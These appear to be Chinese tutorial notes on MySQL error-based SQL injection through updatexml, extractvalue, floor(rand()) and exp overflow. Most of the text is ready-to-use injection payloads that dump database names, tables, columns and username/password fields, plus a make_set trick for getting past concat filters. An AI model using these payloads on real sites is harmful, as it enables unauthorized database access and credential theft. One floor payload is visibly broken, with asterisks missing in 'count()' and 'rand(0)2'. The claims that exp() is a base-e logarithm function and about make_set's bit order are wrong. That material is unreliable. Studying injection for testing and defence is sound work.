看书顺便记一下MySQL数据库报错注入的几种方法:updatexml、extractvalue、floor和exp。

updatexml和extractvalue:MySQL某些xml函数在处理xml数据出错时,会把出错的数据显现出来。需要注意的是,MySQL的版本要大于5.0。

floor:是由rand(),count(),group by三个函数语句联合使用产生报错。

exp:当传递一个大于709的值时,函数exp()就会引起一个溢出错误。需要注意的是,只有版本号大于5.5.5时,才会报错。

0x00 updatexml

它是更新xml文档的函数。语法如下:

UPDATEXML (XML_document, XPath_string, new_value);

XML_document:String格式,为XML文档对象的名称

XPath_string :Xpath格式的字符串 

new_value:String格式,替换查找到的符合条件的数据

原理:

select updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

concat()函数是将里面的内容连成一个字符串,因此上述例子不符合updatexml函数中间的XPATH_string的格式,从而出现格式错误,爆出需要的内容。

爆数据库版本信息
?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
链接用户
?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
链接数据库
?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
爆库
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

下面姿势里的make_set函数很有意思,当concat等常见的字符串拼接函数被过滤时,可以使用冷门的字符串处理函数绕过。花了半天才研究明白,我太笨了(爬

select make_set("3","a","b","c");

第一个参数是bits,首先将3转为二进制数0000 0011,倒过来是1100 0000,就会返回第一位和第二位,也就是“a”和“b”。

爆表名
?no=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
爆列名
?no=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#
爆字段
?no=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#

0x01 extractvalue

and extractvalue(1,(concat(0x7e,(payload),0x7e)))

extractvalue() :extractvalue函数与updatexml函数类似,extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容。

语法:extractvalue(目标xml文档,xml路径)

其中第二个参数不符合XML路径格式就会报错。

extractvalue()能查询字符串的最大长度为32,就是说如果结果可能会超过32,就需要用substring()等函数截取。例如查询前五位:

select username from security.user where id=1 and (extractvalue('anything',concat('#',substring(hex((select database())),1,5))))
爆库名:
id=1 and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)))
爆表名:
id=1 and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)))
table_schema=database()  会获取当前连接的库数据
table_schema='test' 会获取test库数据
爆字段名:
id=1 and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_schema='test' and table_name='tdb_admin' limit 0,1)))
爆数据:
id=1 and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,字段名,0x3a,字段名,0x3a,字段名,0x7e) FROM 库名.表名 limit 0,1)))

0x02 floor

union select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.columns group by x;

floor():向下取整,相当于去掉小数部分。

rand():随机取(0,1)中的一个数。

rand(x): 每个x对应一个固定的值,但是如果连续执行多次值会变化,不过也是可预测的。rand(0)*2 取0到2的随机数,但值是固定的。

执行floor(rand(0)*2),floor函数结合固定的随机数种子0,它每次产生的随机数列都是相同的值。

原理:

rand()函数在查询的时候会执行一次,插入的时候还会执行一次。

首先会建立一张虚拟表,读取第一条数据,floor表达式第一次运算的值为0(1),虚拟表中没有这个数据,所以插入新数据,插入的时候再执行了一次为1(2),因此插入1计数1。

读取第二条数据,运算值为1(3),刚好表中有这个数据,所以计数2。

读取第三条数据,运算值为0(4),表中没有这个数据,所以要插入新数据,插入的时候再执行了一次为1,可已经存在了1这个主键,此时就会抛出主键冗余的异常(duplicate entry)。

爆库名:
id=1" and (select 1 from (select count(*),(concat((select database()),floor(rand(0)*2)))x from information_schema.tables group by x)a)--+
爆表名:
id=1" and (select 1 from (select count(),(concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)2)))x from information_schema.tables group by x)a)--+
爆列名:
id=1" and (select 1 from (select count(*),(concat((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' ),floor(rand(0)*2)))x from information_schema.tables group by x)a)--+
爆字段:
id=1" and (select 1 from (select count(*),(concat((select concat_ws(' | ',username,password) from security.users limit 0,1),floor(rand(0)*2)))x from information_schema.tables group by x)a)--+

floor()报错注入实例

0x03 exp

select exp(~(select * from(select user())x));

在MySQL中,exp与log和ln的功能相反,log和ln都返回以e为底数的对数。

mysql> select log(15);
+------------------+
| log(15) |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)
mysql> select ln(15);
+------------------+
| ln(15) |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)

指数函数为对数函数的反函数,exp()即为以e为底的对数函数。

mysql> select exp(2.70805020110221);
+-----------------------+
| exp(2.70805020110221) |
+-----------------------+
| 15 |
+-----------------------+
1 row in set (0.00 sec)

原理:

SQL语句中,函数成功执行后返回0(所以对其进行逻辑非的话就会变成1),将0按位取反后会得到18446744073709551615(最大的无符号值),如果对这个值进行数值表达式运算则会导致错误。

mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
爆表名:
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
爆列名:
select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));
爆字段:
select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));

exp()更多姿势解锁